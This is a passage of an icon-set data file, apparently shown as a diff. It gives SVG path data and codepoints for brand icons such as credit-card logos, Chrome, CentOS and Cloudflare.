3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"], + "cc-amex": [576, 512, [], "f1f3", "M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z"], + "cc-apple-pay": [576, 512, [], "f416", "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"], + "cc-diners-club": [576, 512, [], "f24c", "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"], + "cc-discover": [576, 512, [], "f1f2", "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"], + "cc-jcb": [576, 512, [], "f24b", "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"], + "cc-mastercard": [576, 512, [], "f1f1", "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"], + "cc-paypal": [576, 512, [], "f1f4", "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"], + "cc-stripe": [576, 512, [], "f1f5", "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"], + "cc-visa": [576, 512, [], "f1f0", "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"], + "centercode": [512, 512, [], "f380", "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"], + "centos": [448, 512, [], "f789", "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"], + "chrome": [496, 512, [], "f268", "M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z"], + "chromecast": [512, 512, [], "f838", "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"], + "cloudflare": [640, 512, [], "e07d", "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"], + "cloudscale": [448, 512, [], "f383", "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 